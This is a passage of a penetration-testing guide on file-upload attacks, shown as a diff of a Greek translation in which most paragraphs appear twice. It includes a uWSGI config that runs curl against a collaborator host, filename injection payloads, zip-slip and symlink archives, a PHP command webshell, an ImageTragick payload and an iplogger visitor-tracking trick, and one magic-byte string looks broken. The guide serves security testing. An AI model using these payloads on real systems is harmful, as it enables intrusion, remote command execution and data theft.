Τα αρχεία `.phar` είναι όπως τα `.jar` για την java, αλλά για php, και μπορούν να **χρησιμοποιηθούν όπως ένα αρχείο php** (εκτελώντας το με php, ή συμπεριλαμβάνοντάς το μέσα σε ένα script...)
Τα `.phar` αρχεία είναι σαν τα `.jar` για την java, αλλά για php, και μπορούν να **χρησιμοποιηθούν σαν php αρχείο** (εκτελώντας τα με php, ή συμπεριλαμβάνοντάς τα μέσα σε ένα script...)
Η επέκταση `.inc` χρησιμοποιείται μερικές φορές για αρχεία php που χρησιμοποιούνται μόνο για **εισαγωγή αρχείων**, οπότε, σε κάποιο σημείο, κάποιος θα μπορούσε να έχει επιτρέψει **αυτή την επέκταση να εκτελείται**.
Η επέκταση `.inc` μερικές φορές χρησιμοποιείται για php αρχεία που χρησιμοποιούνται μόνο για **import files**, οπότε, κάποτε, κάποιος μπορεί να είχε επιτρέψει **αυτή την επέκταση να εκτελείται**.
## **Jetty RCE**
Αν μπορείς να ανεβάσεις ένα αρχείο XML σε έναν διακομιστή Jetty μπορείς να αποκτήσεις [RCE επειδή **νέα \*.xml και \*.war επεξεργάζονται αυτόματα**](https://twitter.com/ptswarm/status/1555184661751648256/photo/1)**.** Έτσι, όπως αναφέρεται στην παρακάτω εικόνα, ανέβασε το αρχείο XML στο `$JETTY_BASE/webapps/` και περίμενε το shell!
Αν μπορείτε να ανεβάσετε ένα XML αρχείο σε έναν Jetty server μπορείτε να αποκτήσετε [RCE because **new \*.xml and \*.war are automatically processed**](https://twitter.com/ptswarm/status/1555184661751648256/photo/1)**.** Έτσι, όπως αναφέρεται στην παρακάτω εικόνα, ανεβάστε το XML αρχείο στο `$JETTY_BASE/webapps/` και περιμένετε shell!
![https://twitter.com/ptswarm/status/1555184661751648256/photo/1](<../../images/image (1047).png>)
## **uWSGI RCE**
Για μια λεπτομερή εξερεύνηση αυτής της ευπάθειας, έλεγξε την αρχική έρευνα: [uWSGI RCE Exploitation](https://blog.doyensec.com/2023/02/28/new-vector-for-dirty-arbitrary-file-write-2-rce.html).
Για λεπτομερή διερεύνηση αυτής της ευπάθειας δείτε την αρχική έρευνα: [uWSGI RCE Exploitation](https://blog.doyensec.com/2023/02/28/new-vector-for-dirty-arbitrary-file-write-2-rce.html).
Οι ευπάθειες Remote Command Execution (RCE) μπορούν να εκμεταλλευτούν σε διακομιστές uWSGI αν κάποιος έχει τη δυνατότητα να τροποποιήσει το αρχείο ρύθμισης `.ini`. Τα αρχεία ρύθμισης uWSGI εκμεταλλεύονται μια συγκεκριμένη σύνταξη για να ενσωματώσουν "μαγικές" μεταβλητές, placeholders και τελεστές. Ιδιαίτερα, ο τελεστής '@', που χρησιμοποιείται ως `@(filename)`, έχει σχεδιαστεί για να περιλαμβάνει το περιεχόμενο ενός αρχείου. Μεταξύ των διαφόρων υποστηριζόμενων σχημάτων στο uWSGI, το "exec" σχήμα είναι ιδιαίτερα ισχυρό, επιτρέποντας την ανάγνωση δεδομένων από την τυπική έξοδο μιας διαδικασίας. Αυτή η δυνατότητα μπορεί να χειραγωγηθεί για κακόβουλους σκοπούς όπως Remote Command Execution ή Arbitrary File Write/Read όταν ένα αρχείο ρύθμισης `.ini` επεξεργάζεται.
Remote Command Execution (RCE) ευπάθειες μπορούν να εκμεταλλευτούν σε uWSGI servers αν κάποιος έχει τη δυνατότητα να τροποποιήσει το `.ini` configuration file. Τα αρχεία ρύθμισης του uWSGI χρησιμοποιούν μια ειδική σύνταξη για να ενσωματώνουν "magic" μεταβλητές, placeholders και operators. Σημαντικά, ο operator '@', που χρησιμοποιείται ως `@(filename)`, έχει σχεδιαστεί για να συμπεριλαμβάνει τα περιεχόμενα ενός αρχείου. Μεταξύ των διαφόρων υποστηριζόμενων schemes στο uWSGI, το scheme "exec" είναι ιδιαίτερα ισχυρό, επιτρέποντας την ανάγνωση δεδομένων από το standard output μιας διεργασίας. Αυτή η δυνατότητα μπορεί να χειραγωγηθεί για κακόβουλους σκοπούς όπως Remote Command Execution ή Arbitrary File Write/Read όταν ένα `.ini` configuration file επεξεργάζεται.
Σκέψου το παρακάτω παράδειγμα ενός κακόβουλου αρχείου `uwsgi.ini`, που παρουσιάζει διάφορα σχήματα:
Consider the following example of a harmful `uwsgi.ini` file, showcasing various schemes:
```ini
[uwsgi]
; read from a symbol
@ -126,14 +126,13 @@ extra = @(exec://curl http://collaborator-unique-host.oastify.com)
; call a function returning a char *
characters = @(call://uwsgi_func)
```
Η εκτέλεση του payload συμβαίνει κατά τη διάρκεια της ανάλυσης του αρχείου ρυθμίσεων. Για να ενεργοποιηθεί και να αναλυθεί η ρύθμιση, η διαδικασία uWSGI πρέπει είτε να επανεκκινηθεί (πιθανώς μετά από μια κατάρρευση ή λόγω επίθεσης Άρνησης Υπηρεσίας) είτε το αρχείο πρέπει να ρυθμιστεί για αυτόματη επαναφόρτωση. Η δυνατότητα αυτόματης επαναφόρτωσης, αν είναι ενεργοποιημένη, επαναφορτώνει το αρχείο σε καθορισμένα διαστήματα μόλις ανιχνευθούν αλλαγές.
Η εκτέλεση του payload συμβαίνει κατά την ανάλυση του αρχείου ρυθμίσεων. Για να ενεργοποιηθεί και να αναλυθεί η ρύθμιση, η διαδικασία uWSGI πρέπει είτε να επανεκκινηθεί (ενδεχομένως μετά από ένα crash ή εξαιτίας επίθεσης Denial of Service) είτε το αρχείο να έχει οριστεί σε auto-reload. Η λειτουργία auto-reload, εάν είναι ενεργοποιημένη, επαναφορτώνει το αρχείο σε καθορισμένα διαστήματα όταν εντοπιστούν αλλαγές.
Είναι κρίσιμο να κατανοήσουμε τη χαλαρή φύση της ανάλυσης του αρχείου ρυθμίσεων του uWSGI. Συγκεκριμένα, το συζητηθέν payload μπορεί να εισαχθεί σε ένα δυαδικό αρχείο (όπως μια εικόνα ή PDF), διευρύνοντας περαιτέρω το πεδίο της πιθανής εκμετάλλευσης.
Είναι κρίσιμο να κατανοήσει κανείς την χαλαρή φύση της ανάλυσης των αρχείων ρυθμίσεων από το uWSGI. Συγκεκριμένα, το payload που συζητήθηκε μπορεί να εισαχθεί σε ένα δυαδικό αρχείο (όπως μια εικόνα ή PDF), διευρύνοντας περαιτέρω το εύρος της πιθανής εκμετάλλευσης.
## **wget File Upload/SSRF Trick**
Σε ορισμένες περιπτώσεις μπορεί να διαπιστώσετε ότι ένας διακομιστής χρησιμοποιεί **`wget`** για να **κατεβάσει αρχεία** και μπορείτε να **υποδείξετε** τη **διεύθυνση URL**. Σε αυτές τις περιπτώσεις, ο κώδικας μπορεί να ελέγχει ότι η επέκταση των κατεβασμένων αρχείων είναι μέσα σε μια λευκή λίστα για να διασφαλίσει ότι μόνο επιτρεπόμενα αρχεία θα κατεβούν. Ωστόσο, **αυτός ο έλεγχος μπορεί να παρακαμφθεί.**\
Το **μέγιστο** μήκος ενός **ονόματος αρχείου** σε **linux** είναι **255**, ωστόσο, το **wget** κόβει τα ονόματα αρχείων σε **236** χαρακτήρες. Μπορείτε να **κατεβάσετε ένα αρχείο με το όνομα "A"\*232+".php"+".gif"**, αυτό το όνομα αρχείου θα **παρακάμψει** τον **έλεγχο** (καθώς σε αυτό το παράδειγμα **".gif"** είναι μια **έγκυρη** επέκταση) αλλά το `wget` θα **μετονομάσει** το αρχείο σε **"A"\*232+".php"**.
Σε κάποιες περιπτώσεις μπορεί να διαπιστώσετε ότι ένας server χρησιμοποιεί **`wget`** για **κατέβασμα αρχείων** και μπορείτε να **υποδείξετε** το **URL**. Σε αυτές τις περιπτώσεις, ο κώδικας μπορεί να ελέγχει ότι η επέκταση των κατεβασμένων αρχείων βρίσκεται μέσα σε μια whitelist για να διασφαλίσει ότι θα κατέβουν μόνο επιτρεπτά αρχεία. Ωστόσο, **αυτός ο έλεγχος μπορεί να παρακαμφθεί.**\ Το **μέγιστο** μήκος ενός **όνομα αρχείου** σε **linux** είναι **255**, όμως, το **wget** περικόπτει τα ονόματα αρχείων σε **236** χαρακτήρες. Μπορείτε να **κατεβάσετε ένα αρχείο με όνομα "A"\*232+".php"+".gif"**, αυτό το όνομα αρχείου θα **παρακάμψει** τον **έλεγχο** (όπως στο παράδειγμα **".gif"** είναι μια **έγκυρη** επέκταση) αλλά `wget` θα **μετονομάσει** το αρχείο σε **"A"\*232+".php"**.
```bash
#Create file and HTTP server
echo "SOMETHING" > $(python -c 'print("A"*(236-4)+".php"+".gif")')
@ -156,63 +155,68 @@ AAAAAAAAAAAAAAAAAAAAAAAAAAAAA 100%[=============================================
2020-06-13 03:14:06 (1.96 MB/s) - AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.php saved [10/10]
```
Σημειώστε ότι **μια άλλη επιλογή** που μπορεί να σκέφτεστε για να παρακάμψετε αυτόν τον έλεγχο είναι να κάνετε τον **HTTP server να ανακατευθύνει σε ένα διαφορετικό αρχείο**, έτσι ώστε η αρχική διεύθυνση URL να παρακάμψει τον έλεγχο και στη συνέχεια το wget να κατεβάσει το ανακατευθυνόμενο αρχείο με το νέο όνομα. Αυτό **δεν θα λειτουργήσει** **εκτός αν** το wget χρησιμοποιείται με την **παράμετρο** `--trust-server-names` επειδή **το wget θα κατεβάσει τη σελίδα ανακατεύθυνσης με το όνομα του αρχείου που υποδεικνύεται στην αρχική διεύθυνση URL**.
Note that **another option** you may be thinking of to bypass this check is to make the **HTTP server redirect to a different file**, so the initial URL will bypass the check by then wget will download the redirected file with the new name. This **won't work** **unless** wget is being used with the **parameter** `--trust-server-names` because **wget will download the redirected page with the name of the file indicated in the original URL**.
## Εργαλεία
## Tools
- [Upload Bypass](https://github.com/sAjibuu/Upload_Bypass) είναι ένα ισχυρό εργαλείο σχεδιασμένο να βοηθά τους Pentesters και τους Bug Hunters στη δοκιμή μηχανισμών μεταφόρτωσης αρχείων. Εκμεταλλεύεται διάφορες τεχνικές bug bounty για να απλοποιήσει τη διαδικασία εντοπισμού και εκμετάλλευσης ευπαθειών, εξασφαλίζοντας λεπτομερείς αξιολογήσεις διαδικτυακών εφαρμογών.
- [Upload Bypass](https://github.com/sAjibuu/Upload_Bypass) είναι ένα ισχυρό εργαλείο σχεδιασμένο για να βοηθάει Pentesters και Bug Hunters στο testing των file upload μηχανισμών. Αξιοποιεί διάφορες bug bounty τεχνικές για να απλοποιήσει τη διαδικασία εντοπισμού και εκμετάλλευσης ευπαθειών, εξασφαλίζοντας ολοκληρωμένες αξιολογήσεις των web applications.
## Από τη μεταφόρτωση αρχείων σε άλλες ευπάθειες
### Corrupting upload indices with snprintf quirks (historical)
- Ορίστε το **filename** σε `../../../tmp/lol.png` και προσπαθήστε να επιτύχετε μια **διαδρομή διαδρομής**
- Ορίστε το **filename** σε `sleep(10)-- -.jpg` και μπορεί να μπορέσετε να επιτύχετε μια **SQL injection**
- Ορίστε το **filename** σε `<svg onload=alert(document.domain)>` για να επιτύχετε XSS
- Ορίστε το **filename** σε `; sleep 10;` για να δοκιμάσετε κάποια εκτέλεση εντολών (περισσότερα [tricks εκτέλεσης εντολών εδώ](../command-injection.md))
- [**XSS** σε μεταφόρτωση αρχείου εικόνας (svg)](../xss-cross-site-scripting/index.html#xss-uploading-files-svg)
- **JS** αρχείο **μεταφόρτωσης** + **XSS** = [**Εκμετάλλευση Υπηρεσιών Εργαζομένων**](../xss-cross-site-scripting/index.html#xss-abusing-service-workers)
- [**XXE σε μεταφόρτωση svg**](../xxe-xee-xml-external-entity.md#svg-file-upload)
- [**Ανοιχτή Ανακατεύθυνση** μέσω μεταφόρτωσης αρχείου svg](../open-redirect.md#open-redirect-uploading-svg-files)
- Δοκιμάστε **διαφορετικά payloads svg** από [**https://github.com/allanlw/svg-cheatsheet**](https://github.com/allanlw/svg-cheatsheet)
- [Διάσημη ευπάθεια **ImageTrick**](https://mukarramkhalid.com/imagemagick-imagetragick-exploit/)
- Αν μπορείτε να **υποδείξετε τον web server να πιάσει μια εικόνα από μια διεύθυνση URL** μπορείτε να προσπαθήσετε να εκμεταλλευτείτε μια [SSRF](../ssrf-server-side-request-forgery/index.html). Αν αυτή η **εικόνα** πρόκειται να **αποθηκευτεί** σε κάποια **δημόσια** τοποθεσία, μπορείτε επίσης να υποδείξετε μια διεύθυνση URL από [https://iplogger.org/invisible/](https://iplogger.org/invisible/) και να **κλέψετε πληροφορίες από κάθε επισκέπτη**.
- [**XXE και CORS** παρακάμψη με μεταφόρτωση PDF-Adobe](pdf-upload-xxe-and-cors-bypass.md)
- Ιδιαίτερα κατασκευασμένα PDFs για XSS: Η [παρακάτω σελίδα παρουσιάζει πώς να **εισάγετε δεδομένα PDF για να αποκτήσετε εκτέλεση JS**](../xss-cross-site-scripting/pdf-injection.md). Αν μπορείτε να ανεβάσετε PDFs μπορείτε να προετοιμάσετε κάποιο PDF που θα εκτελεί αυθαίρετο JS ακολουθώντας τις δοθείσες οδηγίες.
- Μεταφορτώστε το \[eicar]\([**https://secure.eicar.org/eicar.com.txt**](https://secure.eicar.org/eicar.com.txt)) περιεχόμενο για να ελέγξετε αν ο server έχει κάποιο **αντιϊικό**
- Ελέγξτε αν υπάρχει κάποιο **όριο μεγέθους** κατά την μεταφόρτωση αρχείων
Ορισμένοι legacy upload handlers που χρησιμοποιούν `snprintf()` ή παρόμοια για να χτίσουν multi-file arrays από ένα single-file upload μπορούν να εξαπατηθούν ώστε να παραποιήσουν τη δομή `_FILES`. Εξαιτίας ασυνεπειών και αποκοπών στη συμπεριφορά του `snprintf()`, ένα προσεκτικά διαμορφωμένο single upload μπορεί να εμφανιστεί ως πολλαπλά indexed αρχεία στην πλευρά του server, μπερδεύοντας λογική που υποθέτει ένα αυστηρό σχήμα (π.χ. θεωρώντας το ως multi-file upload και ακολουθώντας μη ασφαλείς διαδρομές). Αν και σήμερα πιο niche, αυτό το μοτίβο “index corruption” εμφανίζεται περιστασιακά σε CTFs και παλαιότερους κώδικες.
Ακολουθεί μια λίστα με τα 10 κορυφαία πράγματα που μπορείτε να επιτύχετε με τη μεταφόρτωση (από [εδώ](https://twitter.com/SalahHasoneh1/status/1281274120395685889)):
## From File upload to other vulnerabilities
- Set **filename** to `../../../tmp/lol.png` and try to achieve a **path traversal**
- Set **filename** to `sleep(10)-- -.jpg` and you may be able to achieve a **SQL injection**
- Set **filename** to `<svg onload=alert(document.domain)>` to achieve a XSS
- Set **filename** to `; sleep 10;` to test some command injection (more [command injections tricks here](../command-injection.md))
- [**XSS** in image (svg) file upload](../xss-cross-site-scripting/index.html#xss-uploading-files-svg)
- **JS** file **upload** + **XSS** = [**Service Workers** exploitation](../xss-cross-site-scripting/index.html#xss-abusing-service-workers)
- [**XXE in svg upload**](../xxe-xee-xml-external-entity.md#svg-file-upload)
- [**Open Redirect** via uploading svg file](../open-redirect.md#open-redirect-uploading-svg-files)
- Try **different svg payloads** from [**https://github.com/allanlw/svg-cheatsheet**](https://github.com/allanlw/svg-cheatsheet)
- [Famous **ImageTrick** vulnerability](https://mukarramkhalid.com/imagemagick-imagetragick-exploit/)
- If you can **indicate the web server to catch an image from a URL** you could try to abuse a [SSRF](../ssrf-server-side-request-forgery/index.html). If this **image** is going to be **saved** in some **public** site, you could also indicate a URL from [https://iplogger.org/invisible/](https://iplogger.org/invisible/) and **steal information of every visitor**.
- [**XXE and CORS** bypass with PDF-Adobe upload](pdf-upload-xxe-and-cors-bypass.md)
- Specially crafted PDFs to XSS: The [following page present how to **inject PDF data to obtain JS execution**](../xss-cross-site-scripting/pdf-injection.md). If you can upload PDFs you could prepare some PDF that will execute arbitrary JS following the given indications.
- Upload the \[eicar]\([**https://secure.eicar.org/eicar.com.txt**](https://secure.eicar.org/eicar.com.txt)) content to check if the server has any **antivirus**
- Check if there is any **size limit** uploading files
Heres a top 10 list of things that you can achieve by uploading (from [here](https://twitter.com/SalahHasoneh1/status/1281274120395685889)):
1. **ASP / ASPX / PHP5 / PHP / PHP3**: Webshell / RCE
2. **SVG**: Αποθηκευμένο XSS / SSRF / XXE
3. **GIF**: Αποθηκευμένο XSS / SSRF
4. **CSV**: Εισαγωγή CSV
2. **SVG**: Stored XSS / SSRF / XXE
3. **GIF**: Stored XSS / SSRF
4. **CSV**: CSV injection
5. **XML**: XXE
6. **AVI**: LFI / SSRF
7. **HTML / JS** : Εισαγωγή HTML / XSS / Ανοιχτή ανακατεύθυνση
8. **PNG / JPEG**: Επίθεση πλημμύρας pixel (DoS)
9. **ZIP**: RCE μέσω LFI / DoS
7. **HTML / JS** : HTML injection / XSS / Open redirect
8. **PNG / JPEG**: Pixel flood attack (DoS)
9. **ZIP**: RCE via LFI / DoS
10. **PDF / PPTX**: SSRF / BLIND XXE
#### Επέκταση Burp
#### Burp Extension
{{#ref}}
https://github.com/portswigger/upload-scanner
{{#endref}}
## Μαγικά Header Bytes
## Magic Header Bytes
- **PNG**: `"\x89PNG\r\n\x1a\n\0\0\0\rIHDR\0\0\x03H\0\xs0\x03["`
- **JPG**: `"\xff\xd8\xff"`
Ανατρέξτε σε [https://en.wikipedia.org/wiki/List_of_file_signatures](https://en.wikipedia.org/wiki/List_of_file_signatures) για άλλους τύπους αρχείων.
Refer to [https://en.wikipedia.org/wiki/List_of_file_signatures](https://en.wikipedia.org/wiki/List_of_file_signatures) for other filetypes.
## Αυτόματη αποσυμπίεση αρχείου Zip/Tar κατά τη μεταφόρτωση
## Zip/Tar File Automatically decompressed Upload
Αν μπορείτε να ανεβάσετε ένα ZIP που πρόκειται να αποσυμπιεστεί μέσα στον server, μπορείτε να κάνετε 2 πράγματα:
If you can upload a ZIP that is going to be decompressed inside the server, you can do 2 things:
### Symlink
Ανεβάστε έναν σύνδεσμο που περιέχει μαλακούς συνδέσμους σε άλλα αρχεία, στη συνέχεια, αποκτώντας πρόσβαση στα αποσυμπιεσμένα αρχεία θα αποκτήσετε πρόσβαση στα συνδεδεμένα αρχεία:
Ανεβάστε ένα αρχείο που περιέχει soft links προς άλλα αρχεία. Στη συνέχεια, προσπελάζοντας τα αποσυμπιεσμένα αρχεία θα αποκτήσετε πρόσβαση στα αρχεία στα οποία δείχνουν οι σύνδεσμοι:
```
ln -s ../../../index.php symindex.txt
zip --symlinks test.zip symindex.txt
@ -220,18 +224,18 @@ tar -cvf test.tar symindex.txt
```
### Αποσυμπίεση σε διαφορετικούς φακέλους
Η απροσδόκητη δημιουργία αρχείων σε καταλόγους κατά τη διάρκεια της αποσυμπίεσης είναι ένα σημαντικό ζήτημα. Παρά τις αρχικές υποθέσεις ότι αυτή η ρύθμιση μπορεί να προστατεύει από την εκτέλεση εντολών σε επίπεδο λειτουργικού συστήματος μέσω κακόβουλων αναβαθμίσεων αρχείων, η υποστήριξη ιεραρχικής συμπίεσης και οι δυνατότητες διαδρομής καταλόγου της μορφής ZIP μπορούν να εκμεταλλευτούν. Αυτό επιτρέπει στους επιτιθέμενους να παρακάμψουν περιορισμούς και να ξεφύγουν από ασφαλείς καταλόγους αναβάθμισης, χειραγωγώντας τη λειτουργικότητα αποσυμπίεσης της στοχευμένης εφαρμογής.
Η απροσδόκητη δημιουργία αρχείων σε φακέλους κατά την αποσυμπίεση αποτελεί σημαντικό πρόβλημα. Παρά τις αρχικές υποθέσεις ότι αυτή η ρύθμιση μπορεί να εμποδίσει την εκτέλεση εντολών σε επίπεδο OS μέσω κακόβουλων uploads αρχείων, η υποστήριξη ιεραρχικής συμπίεσης και οι δυνατότητες directory traversal της μορφής αρχείου ZIP μπορούν να εκμεταλλευτούν. Αυτό επιτρέπει σε επιτιθέμενους να παρακάμψουν περιορισμούς και να διαφύγουν από secure upload directories χειριζόμενοι τη λειτουργία αποσυμπίεσης της στοχευόμενης εφαρμογής.
Μια αυτοματοποιημένη εκμετάλλευση για τη δημιουργία τέτοιων αρχείων είναι διαθέσιμη στο [**evilarc on GitHub**](https://github.com/ptoomey3/evilarc). Το εργαλείο μπορεί να χρησιμοποιηθεί όπως φαίνεται:
Ένα αυτοματοποιημένο exploit για τη δημιουργία τέτοιων αρχείων είναι διαθέσιμο στο [**evilarc on GitHub**](https://github.com/ptoomey3/evilarc). Το εργαλείο μπορεί να χρησιμοποιηθεί όπως φαίνεται:
```python
# Listing available options
python2 evilarc.py -h
# Creating a malicious archive
python2 evilarc.py -o unix -d 5 -p /var/www/html/ rev.php
```
Επιπλέον, το **trick symlink με το evilarc** είναι μια επιλογή. Αν ο στόχος είναι να στοχεύσετε ένα αρχείο όπως το `/flag.txt`, θα πρέπει να δημιουργηθεί ένα symlink σε αυτό το αρχείο στο σύστημά σας. Αυτό διασφαλίζει ότι το evilarc δεν θα συναντήσει σφάλματα κατά τη διάρκεια της λειτουργίας του.
Επιπλέον, η **symlink trick with evilarc** είναι μια επιλογή. Αν ο στόχος είναι να στοχεύσεις ένα αρχείο όπως το `/flag.txt`, θα πρέπει να δημιουργήσεις ένα symlink προς αυτό το αρχείο στο σύστημά σου. Αυτό εξασφαλίζει ότι το evilarc δεν θα αντιμετωπίσει σφάλματα κατά τη λειτουργία του.
Παρακάτω είναι ένα παράδειγμα κώδικα Python που χρησιμοποιείται για τη δημιουργία ενός κακόβουλου zip αρχείου:
Παρακάτω είναι ένα παράδειγμα κώδικα Python που χρησιμοποιείται για να δημιουργήσει ένα malicious zip file:
```python
#!/usr/bin/python
import zipfile
@ -249,11 +253,11 @@ zip.close()
create_zip()
```
**Κατάχρηση συμπίεσης για file spraying**
**Abusing compression for file spraying**
Για περισσότερες λεπτομέρειες **ελέγξτε την αρχική ανάρτηση στο**: [https://blog.silentsignal.eu/2014/01/31/file-upload-unzip/](https://blog.silentsignal.eu/2014/01/31/file-upload-unzip/)
Για περισσότερες λεπτομέρειες **δείτε την πρωτότυπη ανάρτηση στο**: [https://blog.silentsignal.eu/2014/01/31/file-upload-unzip/](https://blog.silentsignal.eu/2014/01/31/file-upload-unzip/)
1. **Δημιουργία ενός PHP Shell**: Ο κώδικας PHP γράφεται για να εκτελεί εντολές που περνούν μέσω της μεταβλητής `$_REQUEST`.
1. **Creating a PHP Shell**: Γράφεται PHP κώδικας για την εκτέλεση εντολών που περνάνε μέσω της μεταβλητής `$_REQUEST`.
```php
<?php
@ -263,14 +267,14 @@ system($cmd);
}?>
```
2. **File Spraying και Δημιουργία Συμπιεσμένου Αρχείου**: Δημιουργούνται πολλαπλά αρχεία και συντάσσεται ένα zip αρχείο που περιέχει αυτά τα αρχεία.
2. **File Spraying and Compressed File Creation**: Δημιουργούνται πολλαπλά αρχεία και συναρμολογείται ένα zip αρχείο που περιέχει αυτά τα αρχεία.
```bash
root@s2crew:/tmp# for i in `seq 1 10`;do FILE=$FILE"xxA"; cp simple-backdoor.php $FILE"cmd.php";done
root@s2crew:/tmp# zip cmd.zip xx*.php
```
3. **Τροποποίηση με Hex Editor ή vi**: Τα ονόματα των αρχείων μέσα στο zip τροποποιούνται χρησιμοποιώντας vi ή έναν hex editor, αλλάζοντας το "xxA" σε "../" για να διασχίσουν τους καταλόγους.
3. **Modification with a Hex Editor or vi**: Τα ονόματα των αρχείων μέσα στο zip τροποποιούνται χρησιμοποιώντας vi ή έναν hex editor, αλλάζοντας το "xxA" σε "../" για να γίνει traversal φακέλων.
```bash
:set modifiable
@ -280,7 +284,7 @@ root@s2crew:/tmp# zip cmd.zip xx*.php
## ImageTragic
Ανεβάστε αυτό το περιεχόμενο με μια επέκταση εικόνας για να εκμεταλλευτείτε την ευπάθεια **(ImageMagick , 7.0.1-1)** (από το [exploit](https://www.exploit-db.com/exploits/39767))
Ανεβάστε αυτό το περιεχόμενο με επέκταση εικόνας για να εκμεταλλευτείτε την ευπάθεια **(ImageMagick , 7.0.1-1)** (από το [exploit](https://www.exploit-db.com/exploits/39767))
```
push graphic-context
viewbox 0 0 640 480
@ -289,29 +293,29 @@ pop graphic-context
```
## Ενσωμάτωση PHP Shell σε PNG
Η ενσωμάτωση ενός PHP shell στο IDAT chunk ενός αρχείου PNG μπορεί να παρακάμψει αποτελεσματικά ορισμένες λειτουργίες επεξεργασίας εικόνας. Οι συναρτήσεις `imagecopyresized` και `imagecopyresampled` από το PHP-GD είναι ιδιαίτερα σχετικές σε αυτό το πλαίσιο, καθώς χρησιμοποιούνται συνήθως για την αλλαγή μεγέθους και την επαναδειγματοληψία εικόνων, αντίστοιχα. Η ικανότητα του ενσωματωμένου PHP shell να παραμένει ανεπηρέαστο από αυτές τις λειτουργίες είναι ένα σημαντικό πλεονέκτημα για ορισμένες περιπτώσεις χρήσης.
Η ενσωμάτωση ενός PHP shell στο IDAT chunk ενός PNG αρχείου μπορεί να παρακάμψει αποτελεσματικά ορισμένες λειτουργίες επεξεργασίας εικόνας. Οι συναρτήσεις `imagecopyresized` και `imagecopyresampled` από το PHP-GD είναι ιδιαίτερα σχετικές σε αυτό το πλαίσιο, καθώς χρησιμοποιούνται συνήθως για αλλαγή μεγέθους και resampling εικόνων, αντίστοιχα. Η ικανότητα του ενσωματωμένου PHP shell να παραμένει ανεπηρέαστο από αυτές τις λειτουργίες είναι ένα σημαντικό πλεονέκτημα για ορισμένες χρήσεις.
Μια λεπτομερής εξερεύνηση αυτής της τεχνικής, συμπεριλαμβανομένης της μεθοδολογίας της και των πιθανών εφαρμογών, παρέχεται στο παρακάτω άρθρο: ["Encoding Web Shells in PNG IDAT chunks"](https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/). Αυτός ο πόρος προσφέρει μια ολοκληρωμένη κατανόηση της διαδικασίας και των επιπτώσεών της.
Μια λεπτομερής ανάλυση αυτής της τεχνικής, συμπεριλαμβανομένης της μεθοδολογίας και των πιθανών εφαρμογών, παρέχεται στο ακόλουθο άρθρο: ["Encoding Web Shells in PNG IDAT chunks"](https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/). Αυτός ο πόρος προσφέρει μια ολοκληρωμένη κατανόηση της διαδικασίας και των επιπτώσεών της.
Περισσότερες πληροφορίες στο: [https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/](https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/)
Περισσότερες πληροφορίες: [https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/](https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/)
## Πολυγλωσσικά Αρχεία
## Polyglot αρχεία
Τα πολυγλωσσικά αρχεία χρησιμεύουν ως ένα μοναδικό εργαλείο στην κυβερνοασφάλεια, δρώντας ως χαμαιλέοντες που μπορούν να υπάρχουν έγκυρα σε πολλαπλές μορφές αρχείων ταυτόχρονα. Ένα ενδιαφέρον παράδειγμα είναι ένα [GIFAR](https://en.wikipedia.org/wiki/Gifar), ένας υβριδικός τύπος που λειτουργεί τόσο ως GIF όσο και ως αρχείο RAR. Τέτοια αρχεία δεν περιορίζονται σε αυτόν τον συνδυασμό; συνδυασμοί όπως GIF και JS ή PPT και JS είναι επίσης εφικτοί.
Τα Polyglot αρχεία λειτουργούν ως ένα μοναδικό εργαλείο στην κυβερνοασφάλεια, ενεργώντας σαν χameleons που μπορούν νόμιμα να υπάρχουν σε πολλές μορφές αρχείων ταυτόχρονα. Ένα ενδιαφέρον παράδειγμα είναι το [GIFAR](https://en.wikipedia.org/wiki/Gifar), ένας υβριδικός τύπος που λειτουργεί τόσο ως GIF όσο και ως RAR archive. Τέτοια αρχεία δεν περιορίζονται σε αυτό το ζευγάρι· συνδυασμοί όπως GIF και JS ή PPT και JS είναι επίσης εφικτοί.
Η βασική χρησιμότητα των πολυγλωσσικών αρχείων έγκειται στην ικανότητά τους να παρακάμπτουν τα μέτρα ασφαλείας που ελέγχουν τα αρχεία με βάση τον τύπο τους. Η κοινή πρακτική σε διάφορες εφαρμογές περιλαμβάνει την άδεια μόνο ορισμένων τύπων αρχείων για ανέβασμα—όπως JPEG, GIF ή DOC—για να μετριαστεί ο κίνδυνος που προέρχεται από δυνητικά επιβλαβείς μορφές (π.χ., JS, PHP ή αρχεία Phar). Ωστόσο, ένα πολυγλωσσικό αρχείο, συμμορφούμενο με τα δομικά κριτήρια πολλών τύπων αρχείων, μπορεί να παρακάμψει κρυφά αυτούς τους περιορισμούς.
Η κύρια χρησιμότητα των polyglot αρχείων έγκειται στην ικανότητά τους να παρακάμπτουν μέτρα ασφαλείας που φιλτράρουν αρχεία βάσει τύπου. Συνηθισμένη πρακτική σε διάφορες εφαρμογές είναι να επιτρέπονται μόνο ορισμένοι τύποι αρχείων για upload—όπως JPEG, GIF, ή DOC—για να μετριαστεί ο κίνδυνος από πιθανώς επιβλαβείς μορφές (π.χ., JS, PHP, ή Phar αρχεία). Ωστόσο, ένα polyglot, συμμορφούμενο με τα δομικά κριτήρια πολλαπλών τύπων αρχείων, μπορεί να παρακάμψει αυτές τις περιοριστικές πολιτικές.
Παρά την προσαρμοστικότητά τους, τα πολυγλωσσικά αρχεία αντιμετωπίζουν περιορισμούς. Για παράδειγμα, ενώ ένα πολυγλωσσικό αρχείο μπορεί ταυτόχρονα να ενσωματώνει ένα αρχείο PHAR (PHp ARchive) και ένα JPEG, η επιτυχία της ανάρτησής του μπορεί να εξαρτάται από τις πολιτικές επεκτάσεων αρχείων της πλατφόρμας. Εάν το σύστημα είναι αυστηρό σχετικά με τις επιτρεπόμενες επεκτάσεις, η απλή δομική διπλότητα ενός πολυγλωσσικού αρχείου μπορεί να μην αρκεί για να εγγυηθεί την ανάρτησή του.
